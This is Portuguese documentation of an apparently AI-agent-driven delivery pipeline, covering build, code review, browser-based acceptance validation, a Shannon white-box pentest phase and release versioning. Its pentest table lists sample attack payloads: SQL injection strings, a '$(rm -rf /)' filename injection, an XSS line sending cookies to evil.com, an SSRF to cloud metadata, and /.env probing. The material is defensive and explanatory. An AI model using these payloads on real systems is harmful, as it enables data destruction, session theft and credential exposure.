Tasks em ordemPaths exatos sob delivery/repos/<repo>/, uma linha de descrição cada. Quando a story taggeia múltiplos layers (**Repos:** api, web), o plano ganha uma subseção por layer (### Tasks — api, ### Tasks — web)Layer taggeada sem task nenhuma é sintoma de tag errado: ou a task falta, ou o Repos: mente — a regra expõe os dois
Shapes por nomeEntidade = colunas + tipos + relações-chave; endpoint = método + path + auth; DTO = lista de campos. Snippet ≤5 linhas só para desambiguar uma assinatura difícilSuficiente pra o Dev construir sem perguntar; insuficiente pra virar código colado
ChecklistUm - [ ] por task — o estado durável que o build marca [x]É a fronteira de commit E o ponto de retomada entre sessões
Riscos da storySó os específicos dela — riscos estruturais são do architecture.mdCada documento carrega o seu nível, sem duplicar o vizinho
Modo trivialStory simples (um CRUD, um endpoint, validação comum) = lista de 3-6 tasks, sem phases nem seção de shapesCerimônia proporcional ao trabalho — inflar plano de story boba é o anti-padrão gêmeo do plano de 462 linhas
Exemplo de shapes (como aparecem no plano):
entity Contract: id UUID pk · tenant_id FK · status enum(draft,active,closed)
                · starts_on DATE · ends_on DATE · version INT
endpoint POST /api/v1/contracts — auth: bearer + tenant scope
DTO ContractCreate: customer_id, plan_id, starts_on, ends_on, notes?
Por que o plano proíbe código: plano com código colado vira código digitado duas vezes — o Dev re-digita o que já estava escrito e o plano apodrece no primeiro refactor. Um plano de 462 linhas que reescreve o sistema é o anti-padrão clássico. O plano diz O QUE e EM QUE ORDEM; o COMO é do build. Alvo: ≤80 linhas — passar disso é sinal de que a story tá grande demais (volta pro breakdown) ou o plano tá repetindo o que é da arquitetura.

Terminou? O Tech Lead sai do plan mode, chama AdvancePhase com o stage correspondente (justificativa nomeando a story/plano) e aponta o próximo passo: /mks-build <workstream> <story> — que não roda sem este arquivo.

Build — a execução com estado durável

O build executa o plano item a item do checklist, validando antes de commitar — em branch própria por repo, com o disco como memória. É o único comando da Esteira desenhado para ser interrompido e retomado quantas vezes o mundo precisar.

O protocolo, passo a passo

1
Parseia e valida as precondições
Workstream (match parcial) + story + scope (phase-N/task-N se passado). Sem build-plan → aborta; sem repo configurado → aborta. Com /mks-story <ws>/track-N/story-NNNN antes de começar, o consumo de tokens já nasce atribuído à story
2
Prepara o terreno
Pergunta a base branch de cada repo impactado; cria workstream/<ws>/<story> (ou reutiliza, se retomando — verificando a base). Com useWorktree: true, tudo acontece na cópia isolada e o repo principal fica intocado. Lê o CLAUDE.md de cada repo antes de mexer
3
Reconcilia o checklist UMA vez
Um scan de árvore por repo (git ls-files): para cada - [ ], o arquivo-alvo já existe? Existe → [x] (o trabalho de sessão passada não refaz). Daí pra frente, só os itens desmarcados
4
Implementa item a item — validar ANTES de commitar
Cada item do checklist: implementar → rodar build + testes + lint + o que o CLAUDE.md/CI do repo definir → fallhou? conserta antes de prosseguir (código quebrado não é commitado) → marcar [x] → commit com mensagem derivada do item (quando autoCommit)
5
No ÚLTIMO item: fecha os critérios de aceite
O acceptance-criteria.md é arquivo SEPARADO do checklist — e é ELE que a dashboard lê para "done". Marcar só o build-plan deixa a story em 0/N pra sempre. Cada critério é verificado contra o código real (re-lê o arquivo/teste, sem carimbo); o que não dá pra confirmar de código fica desmarcado — e dito
6
PR draft por repo (autoPR)
Título = nome da story, corpo com resumo + link pro build-plan. Preparado e PARADO — merge é humano (P8)
7
Mede e fecha o loop
/mks-meter record soma o consumo taggeado, grava o actual no calibration.json e reporta o delta estimado-vs-real numa linha; /mks-story off limpa o pino. Escopo parcial (phase-N que não fechou a story) NÃO grava actual — medição de story é de story inteira

Os settings que mudam o comportamento

Setting (implement.*)DefaultControla
autoCommittrueCommit automático por item validado (mensagem derivada do item) — desligado, os commits são seus
autoPRtrueCria o PR draft por repo ao concluir o escopo
useWorktreefalseImplementa na cópia isolada (.worktrees/) em vez do repo principal — todas as operações usam o path da worktree
Por que a Esteira PROÍBE subagent na implementação: subagent nasce com contexto vazio e teria que reler build-plan, overview e convenções de repo — consistentemente MAIS LENTO que o agente principal, que já tem tudo carregado. Paralelismo aqui é falsa economia. Exceção: exploração read-only quando o plano omitiu um caminho que precisa ser descoberto antes.
Por que o disco é a memória (anti-drift): resultados de tool de turnos antigos são TRUNCADOS pela compactação — tratar ls/grep como memória é perder o mapa a cada round-trip e re-escanear o repo pra sempre (o loop real observado: dezenas de re-scans, agente em círculos). As regras: UM scan de árvore no início; paths do plano são intenção, o repo é a verdade; o checklist é o progresso; resultado truncou → re-lê o ARQUIVO específico, nunca re-varre o repo.
Armadilha do repo não configurado: se delivery/repos/ está vazio, o build ABORTA — nunca improvisa caminho na raiz do workspace. Isso não é paranoia: é a regressão real em que o agente, sem repo registrado, inventou src/main/java/... na raiz e escreveu 19 arquivos no lugar errado, zero rastreio. A precondição dura existe para que essa classe de erro seja impossível.

Review — 4 lentes que CORRIGEM, não só apontam

O review roda 4 subagentes paralelos e consolida os findings — e aqui está o que quase todo mundo erra ao ler esta seção: Critical e High são auto-corrigidos por default. Cada correção é validada por build + testes e commitada atomicamente antes de ir pro relatório. O review não te entrega uma lista de tarefas — entrega os problemas graves já resolvidos, com o SHA do commit de cada fix.

LentePergunta que fazExemplo REAL de finding
SegurançaO que um input malicioso faz aqui?"Query montada por concatenação no filtro de busca — injeção SQL com um ' OR 1=1--"
PerformanceEscala? O que cresce com N?"Consulta dentro do loop de listagem — N+1: 100 contratos = 101 queries"
Qualidade de códigoA lógica está certa nos bordos?"Off-by-one no slice(0, n-1): o último registro nunca é processado quando n = len"
Padrões do projetoFere as convenções DESTE repo?"Handler fora da camada de serviço definida no profile — mistura HTTP com regra de negócio"
Vereditos assimétricos — a semântica que importa no merge: auto-fix de um Critical que falha é bloqueio de ship (REJECT) — crítico sem correção não pode passar. Auto-fix de High que falha NÃO bloqueia: o finding fica no relatório como informativo e o veredito pode ser APPROVE WITH CHANGES. Medium e abaixo nunca são auto-corrigidos — são reportados para você decidir.
Por que o review é barato de repetir — idempotência por diff-hash: o diff normalizado da branch vira um SHA em reviews/<branch>/diff-hashes.json. Rodar de novo com o MESMO diff → imprime o relatório e veredito cacheados e sai (exit 0). Diff novo → modo incremental: só o que mudou desde o snapshot da review anterior entra na nova rodada. --force derruba o cache quando você quer re-roda por completo.
O perfil é OBRIGATÓRIO — e o review sabe disso: sem delivery/rules/code-review/<repo>/profile.md, o review não roda: ele invoca o /mks-review-profile na hora e espera a entrevista terminar. Nenhum repo é revisado às cegas. E cada run alimenta o lessons.md do repo — os erros que already doeram viram checagens das próximas runs. O review aprende com a história do projeto.

O relatório vive em reviews/<branch>/CURRENT.md (por branch, sobrescrito a cada run — o git é o histórico). Stories em completed/ ou archived/ são recusadas: "Completed stories are read-only" — pós-release vira story nova.

Quando uma story está "done" — o gate completo

Uma story é "done" quando TODAS estas condições são verdadeiras:
1. O build-plan foi seguido (todas as tasks completadas)
2. O código está no disco (verificado com git diff — não confiamos no "eu escrevi")
3. Typecheck passa nas DUAS configs (strict e lenient)
4. Testes verdes (incluindo os irmãos via spec-gate)
5. Review sem críticos EM ABERTO (High auto-fixado ou documentado)
6. Commits atômicos feitos no branch da story
7. PR draft criado com descrição
Só então o board marca "done" e a próxima story começa.

Os guardas do harness — o que roda em cada turno

GuardaQuando disparaO que faz
Spec-gateFim de turno com editsRoda os testes irmãos dos arquivos editados; vermelho arma auto-correção ou rollback
Shadow-auditFim de turnoCompara o diff feito vs. o que foi pedido; mudança além do escopo vira finding com evidência
Danger-gateAntes de todo BashPontua risco do comando (0-100); acima de 60 exige aviso vermelho antes de executar
Rollback transacionalTurno que fecha em vermelhoRestaura os snapshots pré-edit do turno — nada parcial fica
"O agente disse que terminou mas nada está no disco": o agente pode REPORTAR sem ter FEITO — não por maldade, por alucinação de conclusão. O harness verifica cada lote de edição com git diff/grep: edit anunciado que não está no disco é bloqueio do turno, não accept. "Feito" só existe com prova de ferramenta.
05 · fase harden

Harden — a última linha de defesa antes do cliente

Harden é onde você descobre se o que foi construído realmente funciona — não se o código compila (isso o Build já garantiu), mas se o usuário consegue usar o sistema como especificado. E se um atacante consegue entrar onde não devia. É a diferença entre "funciona na minha máquina" e "funciona para quem paga a conta".

Por que Harden é uma fase SEPARADA e não "só mais um teste": Porque a mentalidade muda. Em Build, você está CONSTRUINDO — criando funcionalidade. Em Harden, você está DESTRUINDO — tentando quebrar o que foi construído, encontrar o que não funciona, explorar o que não devia estar exposto. São mentalidades opostas, e misturá-las produz as duas malfeitas. O /mode harden muda as regras do agente para foco em verificação, não em criação.

Os dois portões — o que cada um protege

PortãoO que protege contraComo testaSe pular…
ValidaçãoFuncionalidade quebra em uso realBrowser agent executa cada critério de aceite literalmenteUsuário encontra o bug no primeiro clique — confiança vai embora
PentestSegurança exploração de vulnerabilidadesAuditoria ofensiva: OWASP, injeção, auth bypass, IDORVulnerabilidade descoberta por atacante real (ou por auditoria do cliente)
Por que DOIS portões e não um: Porque eles testam coisas fundamentalmente diferentes. A validação testa o caminho feliz + edge cases especificados — o que o usuário fará. O pentest testa caminhos maliciosos — o que um atacante tentará. Um sistema pode passar em todos os critérios de aceite e ainda ter uma injeção SQL que o validador nunca testaria, porque "inserir código malicioso no campo nome" não é critério de aceite — é vetor de ataque.

Portão 1: Validação — como o browser agent funciona

O /mks-validate não é um teste unitário nem um teste de integração. É um teste de aceitação comportamental: um agente abre um browser de verdade, navega no sistema como um humano faria, e verifica se cada critério escrito no Plan se cumpre.

O ciclo interno do validador — o que acontece em cada critério:

1
Lê o critério de aceite
"Usuário preenche CNPJ + nome + e-mail, clica Salvar, cliente aparece na listagem" — o texto literal do Plan
2
Identifica os passos necessários
Decompõe: navegar para página → preencher campo CNPJ → preencher nome → preencher e-mail → clicar botão → verificar listagem
3
Executa no browser
Abre o Playwright, navega, localiza elementos por selector/texto, digita, clica, espera carregamento
4
Verifica o resultado
O cliente APARECEU na listagem? O campo CNPJ aceitou? O erro mostrou quando devia?
5
Captura screenshot
Screenshot do estado final (sucesso ou falha) — a evidência que vai no relatório
6
Registra no relatório
Critério → o que foi feito → screenshot → passou/falhou → por quê (se falhou)
Por que SCREENSHOT e não só "passou/falhou": Porque o cliente não confia em "funciona" — ele confia no que VÊ. Um screenshot do cliente na listagem prova que funcionou. Um screenshot do erro na tela prova que o edge case foi testado. Sem evidência visual, o relatório é só uma lista de afirmações — e afirmação sem prova é o que o agente já fez o Build inteiro (e o harness teve que verificar com git diff). Aqui a prova é visual: o cliente VÊ o sistema funcionando antes de aprovar o release.

Como um relatório de validação se parece:

Relatório de Validação — Story T1: Cadastro de Clientes
✓
Critério: "Usuário preenche CNPJ válido + nome + e-mail, clica Salvar, cliente aparece na listagem"
Navegado para /clients/new → preenchido CNPJ 11.222.333/0001-81 → preenchido nome "Empresa Teste" → preenchido e-mail → clicado Salvar → cliente visível na listagem
screenshot
✓
Critério: "CNPJ inválido mostra erro 'CNPJ inválido'"
Preenchido CNPJ 11.222.333/0001-99 (dígito verificador errado) → clicado Salvar → mensagem "CNPJ inválido" exibida
screenshot
✗
Critério: "Listagem ordena por nome alfabeticamente"
Criados 3 clientes: "Zeta", "Alfa", "Beta" → listagem mostra "Alfa, Zeta, Beta" (não alfabético) → possível bug de ordenação
screenshot
Resultado: 2/3 critérios passaram1 falha — corrigir antes do release
O que VOCÊ faz com o relatório de validação: Leia o que FALHOU. Cada falha tem: o critério que não passou, o que o validador fez (passo-a-passo), e o screenshot do estado errado. Corrija a causa (não o sintoma) e re-rode /mks-validate. Só quando TODOS os critérios passam o story está pronta para release.

Os modos de invocação — story, tool ou track inteira

ComandoO que faz
/mks-validate <workstream> <story>Valida uma story com todas as tools habilitadas
/mks-validate <workstream> <story> --tool=<name>Uma story com UMA tool específica (mcp-playwright ou agent-browser) — as demais são puladas
/mks-validate <workstream> --track <N>A track INTEIRA: re-roda todas as stories — é o modo que pega regressão (uma story consertada quebrou outra)
/mks-validate <workstream> --track <N> --tool=<name>Track inteira com uma tool específica

O <workstream> aceita match parcial (se bater mais de um, lista e pergunta). O <story> aceita número (0003) ou slug (monthly-hour-calculation) — a busca varre todos os track-*/functional/ atrás do *-acceptance-criteria.md correspondente.

O contrato declarativo — a skill não conhece sua stack

Nada é hardcode: a skill NÃO conhece nomes de env vars (API_URL, TEST_EMAIL…), paths de endpoint (/health, /account/login…) ou campos de header/body. TODO o conhecimento de stack vive no bloco integrationTest de delivery/delivery.json — o mesmo arquivo para um backend NestJS, uma API Rails ou um Spring. A skill é genérica de propósito: o projeto declara o contrato, a skill executa.
ContratoChaves em integrationTestExemplo
Appapp.backend.{urlEnv, healthPath, expectedStatus} e o mesmo para app.frontendurlEnv API_URL · healthPath /health · expectedStatus [200, 204]
Envenv.file (default .env) e env.required (lista de vars obrigatórias)["API_URL", "FRONTEND_URL", "TEST_EMAIL", "TEST_PASSWORD"]
Authauth.strategy (http-login ou cookie-session) + sub-blocos da estratégiaver tabela de autenticação abaixo
ChaveDefaultControla
tools.<tool>.enabled / .weightambas habilitadasQuais tools rodam e se o veredito é primary (bloqueia) ou advisory (só informa)
executionsequentialTools rodam em sequência — paralelo é opt-in
fix.maxAttempts3Tentativas de correção por critério antes de delegar
onToolFailureabortTool quebra no meio → a run INTEIRA aborta (nunca segue com metade)
approval.blockingSeverities—Quais severidades de finding advisory bloqueiam a aprovação
milestoneRetry.maxRuns / retryOnlyFailedOnRetry / stopWhen— / true / zero-blocking-bugsA lógica de retry do modo track

Primeira execução — o wizard de configuração

App: qual env var aponta o backend? qual o path de health?→ Env: quais vars são obrigatórias?→ Auth: qual estratégia? qual request de login?→ Grava no delivery.json + confirma

Pré-flight — verificado ANTES de abrir qualquer browser

#VerificaçãoSe falhar
1.env existe (no path de env.file)Copia do .env.example (se houver) e ABORTA pedindo que você preencha — nunca prossegue sem .env
2Todas as env.required existem e não estão vaziasLista as faltantes e aborta
3URLs resolvem — os valores de urlEnvAborta nomeando a var faltante
4Backend no ar — curl no health path, status em expectedStatusAborta e pede para subir o backend — fail fast: não roda tools contra sistema caído
5Frontend no ar — mesmo padrãoAborta e pede para subir o frontend
6Tools prontas — MCP Playwright carregado + agent-browser instaladoCom onToolFailure: abort, para na primeira — nunca prossegue com um subconjunto
7Auth dry-check — todo placeholder {{env.X}} resolve no .envAborta nomeando o placeholder órfão (o login em si ainda NÃO roda)

Classificação de critérios — api / ui / manual

TipoÉ quandoComo testa
apiCálculo de backend, regra de dados, permissão, resposta de endpointcurl direto ou fetch do MCP Playwright
uiExibição visual, interação, navegação, comportamento de frontendMCP Playwright e/ou agent-browser pilotando o browser
manualDepende de sistema externo, julgamento subjetivo, multi-devicePula com nota no relatório — nada de fingir teste
Gate humano antes de executar: a skill mostra a tabela de classificação em pt-BR (critério literal em inglês — fonte da verdade, nunca traduzido) + o plano de execução, e ESPERA sua confirmação. Você pode reclassificar, pular critério ou ajustar o plano antes de qualquer browser abrir. Classificação errada custa a execução inteira — por isso ela é sua, não do agente.

Autenticação — uma vez por execução, declarativa

EstratégiaComo funcionaServe para
http-loginLogin declarado → token extraído via JSONPath (response.tokenPath, ex.: $.accessToken) → injetado no browser conforme browserInjection.type: localStorage, cookie ou headerJWT em localStorage/cookie/header, OAuth2 password grant, session token custom
cookie-sessionLogin capturando cookies; sem Set-Cookie no response, aborta — o servidor não abriu sessãoRails Devise, Django sessions, express-session, Spring Security, ASP.NET cookie auth

O login roda uma única vez por execução (curl com method/path/headers/body do delivery.json, placeholders {{env.VAR}} do .env). Os artefatos que as tools compartilham ficam em .auth/ (sempre gitignored): api-token.json, storage-state.json (o browser "nasce logado") e cookies.txt.

Falha de login NUNCA é re-tentada automaticamente: se o login responde non-2xx, a skill despeja o response body, aborta e acabou — falha de login é erro de configuração (credencial errada, path errado), não problema transitório. Re-tentar queimaria tentativas contra um lockout e esconderia a causa real de você.

As duas ferramentas — e por que são duas

ToolPapelComo opera
MCP PlaywrightPrimary — o veredito dela marca critérioTools playwright.browser_navigate / browser_snapshot / browser_click / browser_type / browser_fill_form / browser_take_screenshot. Determinística: navega, age, assertiona, fotografa. Evidência em <story>/mcp-playwright/evidence/
agent-browserPrimary + exploratória (Dogfood com peso advisory)Core skill para critérios formais: open → snapshot -i → click @refN / fill @refM → re-snapshot. A skill Dogfood navega autonomamente — descobre problemas de UX que NÃO estão nos critérios, com screenshots e vídeos. Evidência em <story>/agent-browser/evidence/ + dogfood-report.md
Por que duas ferramentas: a Playwright é o instrumento de medição — executa o critério escrito e dá veredito binário. O Dogfood é o usuário curioso — clica onde não devia, tenta fluxo que ninguém especificou, e acha o bug que o critério não cobriu. Uma confirma o especificado; a outra descobre o não-especificado.

O fix loop — 3 tentativas, depois delega para humano

1
Lê a evidência da falha
Error output, response body, DOM snapshot, screenshot — o que a tool capturou. Nunca chuta a causa
2
Lê o código implicado
Abre o fonte no repo apontado — read-before-fix é regra absoluta, respeitando o CLAUDE.md do repo
3
Fix mínimo e local
Só o estritamente necessário — sem refactor, sem tidy-up, sem tocar texto de critério
4
Valida o build antes de re-testar
Backend: yarn build · frontend: pnpm check-types — re-testar código que não compila é desperdiçar tentativa
5
Espera o hot-reload (~3s)
yarn start:dev / pnpm dev recarregam no save — testar antes do reload é teste contra código velho
6
Re-testa o MESMO critério com a MESMA tool
Cross-tool só depois que todas tentaram. Esgotou as 3 tentativas → delega (bug-NNN)
Scope guard — fix loop é para código de story, não de fundação: se o único fix viável mexe em componente compartilhado (primitivo de design system, utilitário cross-cutting), a skill NÃO aplica — documenta como "deferred — needs cross-cutting change" e o humano decide. Um fix "pequeno" num componente compartilhado pode quebrar três telas que dependem dele.

Rubrica de severidade — e como bugs nascem numerados

SeveridadeÉ quando
criticalQuebra o fluxo primário da story; bloqueia o uso central da workstream; perda de dados ou números errados para o usuário final
majorQuebra uma capacidade específica com workaround difícil; afeta fatia significativa de usuários; regressão de performance ≥ 2× o esperado
minorGlitch visual, erro de copy, edge case, comportamento inconsistente não-bloqueante; workaround trivial existe

O que não se conserta em 3 tentativas vira bug estruturado: validation-reports/bugs/bug-NNN-<slug>.md, com numeração monotônica POR TRACK. Diretórios são criados lazy — bugs/ e evidence/ só nascem no primeiro artefato real: pasta vazia pareceria trabalho delegado que não existe.

Reconciliação entre ferramentas — as 4 situações possíveis

SituaçãoResultado do critério
Ambas passaram✓ marcado — critério aprovado
Ambas falharamUm único bug citando as duas tools, severidade = a MAIOR das duas
Uma passou, outra falhouBug Tool: divergent com os Fix attempts de cada uma — humano decide qual veredito está certo. Divergência não dispara novo fix loop
Falha só na advisory (Dogfood achou UX não coberta)Sempre vira bug (minor, salvo gravidade objetiva maior) mas NÃO bloqueia — a menos que ≥ approval.blockingSeverities
Por que divergência vai para humano e não para mais um fix loop: quando duas ferramentas honestas discordam, geralmente o critério está ambíguo, ou existe uma condição de corrida/timing, ou uma das tools bateu num state sujo do app. Nenhum desses se resolve com mais tentativas automáticas. O bug divergent preserva a evidência das DUAS versões para você julgar com os dados na mesa.

Modo track — retry que protege contra regressão de correção

Run 1: valida TODAS as stories→ Bloqueantes? revalida SÓ as falhadas→ Última run permitida: revalida TODAS de novo→ Para: zero bugs bloqueantes OU maxRuns
Por que a ÚLTIMA run revalida tudo de novo: o fix da story 4 pode ter quebrado a story 2 (estado compartilhado, migration, componente comum). Se a última rodada só revalidasse as que falharam, a workstream sairia "verde" com a regressão escondida dentro. Revalidar tudo no fim é o único momento em que "tudo passou" significa TUDO — e o track-summary.md final traz o histórico completo de runs + a comparação entre tools.

As 6 regras "NUNCA" do validador

regra

Nunca modifica texto de critério

O critério é a fonte da verdade do cliente. Só flipa [ ] → [x] e anota advisory inline (⚠️). Critério "errado" vira bug needs review — nunca edição silenciosa.

regra

Nunca marca [x] sem todas as primárias

O check só desce quando TODAS as tools de peso primary passaram naquele critério. Advisory passando não marca; primary falhando marca menos ainda.

regra

Nunca finge passo de browser

Se as tools playwright.* não carregaram no catálogo, a skill reporta o status do MCP e PARA — fabricar "naveguei e vi" é exatamente a classe de bug que a Esteira existe para matar.

regra

Nunca commita .env ou .auth/

Credenciais, tokens e storage-state ficam fora do git — sempre. O commit de resultados só entra com seu aceite (validation-reports, bugs, acceptance-criteria atualizado).

regra

Nunca re-tenta login automaticamente

Erro de login é erro de configuração — despeja o response e aborta. Retentar esconde a causa e arrisca lockout de conta.

regra

Nunca deixa a run em estado irrecuperável

Tool quebra no meio (com onToolFailure: abort): a run inteira para, fixes inacabados vão para git stash — nada de trabalho parcial commitado, nada de "continuei com a que sobrou".

Portão 2: Pentest — a auditoria ofensiva com Shannon

O /mks-pentest executa uma auditoria white-box (com acesso ao código-fonte em delivery/repos/) usando a ferramenta Shannon. Shannon é uma ferramenta de pentest autônomo que recebe a URL do alvo + o código-fonte + regras de autenticação, e tenta invadir o sistema da mesma forma que um atacante real tentaria — navegando, injetando, explorando, escalando privilégios. Tudo que ela encontra fica em delivery/pentest-audits/runs/.

O que pentest É e o que NÃO É: Pentest É uma tentativa sistemática de explorar vulnerabilidades com acesso ao código (white-box). NÃO É um scanner de segurança passivo (SAST/DAST), NÃO É um relatório de compliance, e NÃO É um substituto para revisão de código — é uma camada adicional que prova que as defesas funcionam tentando furá-las.

Pré-flight: 8 verificações obrigatórias antes de rodar

#VerificaçãoComo testaSe falhar
1Não é o template sourceLê delivery.json: se template.isSource: true → aborta"Runs only in derived projects, not in the template repository"
2Workstream argument válidoVerifica que existe em active/ ou completed/"Workstream is archived" ou caminhos procurados
3Track argument válidoVerifica subdiretório dentro do workstreamLista de caminhos procurados
4Docker rodandodocker info (silencioso)"Start Docker and try again"
5Node.js 18+node --version, parseia major"Install/upgrade and try again"
6.env com OAuth tokenLê .env, verifica CLAUDE_CODE_OAUTH_TOKEN"Copy .env.example to .env and set CLAUDE_CODE_OAUTH_TOKEN"
7Shannon config existeVerifica pentest-audits/configs/shannon.yaml; se ausente, cria do template e ABORTA para revisão"Created from template. Fill in and re-run"
8Target URLs configuradasLê pentest.targets de delivery.json"Add pentest.targets with at least one URL"
Por que abortar antes de gastar: Shannon custa ~US$ 50 e leva 1-1,5 horas por execução. Rodar sem Docker, sem token, ou sem target é queimar dinheiro e tempo. O agente sempre mostra custo e duração estimados + espera confirmação explícita antes de invocar.

Fluxo de execução — o que acontece quando você confirma

1
Seleciona o target
Se 1 URL em pentest.targets → usa direto. Se múltiplas → pergunta qual
2
Confirma com você
Mostra target, repo path, config, workstream link, custo (~$50), duração (~1-1.5h). Só "yes" explícito prossegue
3
Calcula o número da run
Scannea runs existentes, pega o maior NNNN (global, monotônico — nunca reseta), incrementa. Formato: YYYYMMDD-NNNN
4
Cria o diretório da run
delivery/pentest-audits/runs/20260920-0001/ — gravado ANTES de invocar Shannon (metadados sobrevivem a crash)
5
Escreve workstream.txt
Se workstream foi passado: Workstream + Track + timestamp — link de rastreabilidade
6
Invoca Shannon
npx @keygraph/shannon start -u <url> -r delivery/repos/ -c shannon.yaml -o runs/<dir>/
stdout transmitido em stream
7
Apresenta o resultado
Diretório da run + relatório final do Shannon (verbatim) + lembrete: review é MANUAL

O que Shannon ataca — com vetor real de cada categoria

CategoriaVetor de ataqueExemplo literalO que prova se falhar
Injeção SQL/NoSQLInsere código de query em campos de entrada'; DROP TABLE contracts; --Qualquer dado pode ser extraído, modificado ou destruído
Injeção CommandInsere comandos de shell em parâmetros$(rm -rf /) em filename de uploadControle remoto do servidor
IDOR (Insecure Direct Object Reference)Troca IDs em URLs para acessar recursos de outrosGET /contracts/124 (de outro tenant) com seu tokenVazamento de dados entre clientes — crítico em multi-tenant
Auth bypassAcessa endpoint protegido sem token ou com token expirado/inválidoGET /admin/users sem Authorization headerQualquer pessoa acessa dados admin
Privilege escalationUsa token de usuário normal para acionar endpoint adminPOST /admin/delete-user com token de role=userUsuário comum pode destruir o sistema
XSS (Cross-Site Scripting)Injeta JavaScript que executa no browser de outro usuário<script>fetch('https://evil.com/steal?c='+document.cookie)</script> no campo nomeRoubo de sessão, redirecionamento para phishing
SSRF (Server-Side Request Forgery)Faz o servidor chamar URLs internasWebhook URL: http://169.254.169.254/latest/meta-data/Acesso a metadados AWS/infra interna
Exposição de dadosProcura endpoints/erros que vazam informação sensívelGET /.env, GET /api/v1/users?include=passwordCredenciais e dados confidenciais acessíveis
Config expostaVerifica CORS, headers de segurança, TLS, rate limitingAccess-Control-Allow-Origin: *, sem X-Frame-OptionsSuperfície de ataque desnecessariamente aberta
Por que "com acesso ao código" (white-box) importa: Shannon não só envia payloads — ela LÊ o código-fonte em delivery/repos/ para entender a estrutura da aplicação, identificar rotas, parâmetros e padrões antes de atacar. Muito mais eficaz que black-box, porque Shannon pode procurar padrões perigosos específicos da stack (ex: TypeORM raw queries, template strings em queries SQL) em vez de chutar.

O diretório da run — o que fica em disco

Estrutura de cada run:
delivery/pentest-audits/
├── configs/
│   └── shannon.yaml              # Auth, rules, pipeline — editado manualmente
└── runs/
    ├── 20260920-0001/            # Uma run: YYYYMMDD + sequência global
    │   ├── workstream.txt        # Link de rastreabilidade (se passado)
    │   └── [output do Shannon]   # Reports, screenshots, logs
    └── 20260921-0002/            # Sequência NUNCA reseta

As 6 regras "NUNCA" do pentest

regra

Nunca auto-instala pré-requisitos

Docker e Node são VERIFICADOS, não instalados. O agente aborta e pede instalação manual — instalar Docker automaticamente é risco de segurança em si.

regra

Nunca pede secrets no chat

Tokens são lidos de .env ou interpolados via ${VAR} no shannon.yaml. Pedir credencial no chat seria vazar o segredo para o contexto do modelo.

regra

Nunca parseia relatórios do Shannon

O agente transmite o stdout verbatim e aponta o diretório. Não resume, não filtra, não pontua — parsear seria introduzir interpretação onde não deve haver.

regra

Nunca invoca outros skills

Depois da run, o agente apenas RECOMENDA em texto qual skill usar ("/mks-ticket para bug pontual"). Nunca executa — a decisão de como tratar um finding é comercial e de risco, é sua.

regra

Nunca commita output automaticamente

Relatórios de pentest podem conter SECRETS EXTRAÍDOS durante a exploração (senhas, tokens, chaves). Commitar automático seria vazar segredos no git. Você revisa e commita manualmente.

regra

Nunca roda no template source

O repositório template NÃO é alvo de pentest. O skill aborta imediatamente se template.isSource: true. Pentest é para projetos derivados com dados reais.

Como um finding se parece

CRITICAL
IDOR no endpoint de contratos — acesso cross-tenant
GET /api/v1/contracts/:id não valida o tenant do usuário autenticado. Qualquer usuário logado pode acessar contratos de outro tenant trocando o ID na URL. Reproduzido: usuário do tenant A leu contrato do tenant B sem erro (screenshot anexado).
→ Vira story imediata: /mks-ticket "corrigir IDOR em contracts" — corrigir ANTES do release
MEDIUM
Rate limiting ausente no endpoint de login
POST /api/v1/auth/login não tem rate limiting nem lockout. Um atacante pode tentar milhares de senhas por minuto (brute force). Não é exploração imediata mas remove uma barreira.
→ Story com prazo: /mks-ticket "adicionar rate limiting no login"
LOW
Header X-Frame-Options ausente
A aplicação não envia X-Frame-Options: DENY. Permite que a página seja embutida em iframe (clickjacking teórico, baixa probabilidade real de exploração).
→ Decisão documentada: ignorar ou corrigir depois

Como findings viram trabalho — o pipeline de correção

Tipo de findingVira o quêComandoPor quê
Único, localizado, um repo, sem impacto arquiteturalStory bug (leve)/mks-ticket "corrigir IDOR em contracts"Quick flow — não precisa de workstream para um fix
Múltiplos findings relacionados (ex: overhaul de auth)Nova feature/mks-blueprintEscopo maior que um fix — precisa decomposição e estimativa
Força mudança arquitetural (ex: trocar crypto lib)Nova feature/mks-blueprintImpacto estrutural — precisa de arquitetura antes
Baixa severidade, usuário decide ignorarNada — decisão documentadaComentário no findingDecisão consciente ≠ esquecimento

Release — o protocolo de versionamento que fecha a entrega

O /mks-release <new-version> é o último comando da Esteira — e é deliberadamente pequeno: ele versiona, documenta e publica a versão. Só isso, feito com rigor total.

O que o release É e o que NÃO É: É um protocolo de versionamento — bump da versão no delivery.json, update do README, commit, push, changelog funcional extraído dos commits, git tag anotado com o changelog na mensagem, push da tag. NÃO é deploy (não sobe nada para servidor — deploy tem script próprio do cliente), NÃO é merge (P8 — o merge é seu e já aconteceu), e NÃO altera código de aplicação (a árvore precisa estar limpa justamente para provar isso).

Pré-flight — 3 verificações, qualquer uma falha aborta

#VerificaçãoComoSe falhar
1Versão fornecidaUma string de versão (ex.: 0.2.0)Pergunta a versão — sem ela não há release
2Árvore de trabalho limpagit status --porcelain — QUALQUER output conta como sujoAborta: commit ou stash antes. Nunca segue com trabalho não-commitado
3Versão é novaLê o campo-alvo atual no delivery.json e comparaVersão igual à atual → aborta (tag duplicada é erro de operação)
Por que a árvore limpa é inegociável: a tag vai apontar para um commit exato do histórico. Se existem mudanças não-commitadas, o código que VOCÊ validou no Harden pode ser diferente do código que a tag eterniza — o release publicaria um estado que nunca passou pelos portões. Árvore suja = "isso não está pronto para ser congelado".

Mode detection — template ou delivery unit

ModoQuandoBumpa no delivery.jsonAtualiza no README
Template modetemplate.isSource: true (o repo É o boilerplate)version E template.version — ambos para o mesmo valorLinha Template Version (e Version)
Delivery Unit modetemplate.isSource: false (projeto derivado)Só version — template.version intocado (registra de qual geração do template o projeto nasceu)Só a linha Version

Os 9 passos — o que acontece depois do pré-flight

1
Bumpa o delivery.json
Campo-alvo recebe a nova versão sem prefixo v (ex.: 0.2.0)
2
Atualiza o README.md
A linha de versão correspondente ao modo (Version e/ou Template Version)
3
Commit do bump
Mensagem fixa: chore: bump version to v<version>
4
Push do commit
git push — o commit de versão chega ao remote ANTES da tag existir
5
Coleta os commits da janela
git log <last-tag>..HEAD --oneline — da tag anterior até agora. Sem tag anterior: todo o histórico
6
Constrói o changelog FUNCIONAL
Do dump bruto: agrupa commits do mesmo change, traduz para linguagem de usuário, deduplica, formata em bullets
7
Cria a tag anotada
git tag -a v<version> com o changelog funcional como mensagem — com prefixo v
8
Push da tag
git push origin v<version> — automático: o commit já passou pelo seu gate no passo 4
9
Grava o marcador de release (tool RecordRelease)
